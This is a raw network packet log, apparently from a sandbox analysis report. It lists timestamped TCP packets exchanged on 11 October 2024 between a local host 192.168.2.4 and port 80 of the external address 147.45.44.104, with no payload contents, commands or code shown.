Oct 11, 2024 23:07:05.110507011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110521078 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110537052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110569954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110582113 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110600948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110632896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110644102 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110663891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110696077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110706091 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110727072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110759020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110769987 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110789061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110820055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110832930 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110852003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110882998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110896111 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110917091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110949993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.110965014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.110980988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.111013889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.111025095 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.111041069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.111057997 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.111071110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.111083984 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.111104965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.111118078 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.111149073 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116063118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116113901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116126060 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116147995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116178989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116182089 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116203070 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116229057 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116238117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116261005 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116281986 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116292953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116312981 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116326094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116342068 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116378069 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116578102 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116611004 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116637945 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116657019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116658926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116708994 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116708994 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116740942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116784096 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116789103 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116821051 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116821051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116842031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116852999 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116863966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116885900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116903067 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116930962 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.116935015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116970062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.116986990 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117017031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117018938 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117052078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117070913 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117083073 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117105007 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117131948 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117132902 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117161989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117187023 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117211103 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117213011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117261887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117264032 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117312908 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117328882 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117346048 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117361069 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117381096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117403984 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117423058 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117424011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117471933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117475986 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117502928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117523909 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117531061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117564917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117579937 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117579937 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117614031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117615938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117650032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117666006 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117697954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117701054 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117728949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117748022 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117762089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117794037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117800951 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117820024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117826939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117846966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117857933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117880106 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117888927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117913008 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117923021 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117932081 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117957115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.117974043 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.117990017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118012905 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118021965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118041039 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118063927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118072033 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118113041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118119001 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118144035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118165970 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118175983 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118201017 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118206978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118221998 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118256092 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118257999 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118287086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118310928 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118319035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118350029 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118350983 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118367910 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118398905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118418932 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118431091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118448019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118463039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118482113 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118495941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118518114 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118527889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118554115 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118558884 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118591070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118613005 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118622065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118654966 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118674994 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118751049 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118783951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118804932 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118832111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118865013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118885040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118896008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118928909 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118948936 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.118961096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.118992090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119014025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119021893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119054079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119079113 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119086027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119121075 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119134903 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119152069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119184017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119199991 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119215012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119246006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119275093 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119277000 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119308949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119324923 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119339943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119370937 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119400024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119422913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119452953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119477987 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119484901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119501114 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119515896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119539976 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119548082 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119580984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119596004 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119611025 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119646072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119658947 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119677067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119709015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119725943 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119740963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119772911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119802952 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.119803905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119837046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.119853973 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.163727045 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.223700047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.223751068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.223788023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.223875046 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.223928928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.223967075 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224021912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224030018 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224075079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224109888 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224124908 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224159002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224190950 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224199057 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224236012 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224241018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224271059 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224302053 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224318027 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224350929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224381924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224406004 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224412918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224456072 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224462032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224493980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224543095 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224545002 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224595070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224626064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224642992 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224658012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224690914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224703074 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224734068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224766016 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224780083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224797964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224828959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224843025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224860907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224893093 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224904060 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224925995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224957943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.224980116 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.224991083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.225022078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.225054026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.225066900 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.225085020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.225106001 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.225116968 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.225147963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.225182056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.225675106 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.310246944 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.310292006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.310512066 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.313451052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313483000 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313554049 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313560963 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.313590050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313618898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313637972 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.313689947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313735962 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.313740969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313775063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313816071 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.313823938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313857079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313889980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313898087 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.313922882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313956976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.313966036 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.313990116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314039946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314045906 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314074039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314105988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314112902 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314156055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314188004 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314210892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314228058 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314260006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314269066 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314308882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314356089 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314358950 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314392090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314441919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314445019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314475060 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314506054 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314517975 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314557076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314588070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314599991 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314624071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314651012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314663887 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314681053 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314713001 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314723015 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314753056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314785004 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314798117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314815998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314847946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314858913 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.314879894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314913034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.314925909 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.366849899 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.397171021 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.397308111 CEST	80	49730	147.45.44.104	192.168.2.4
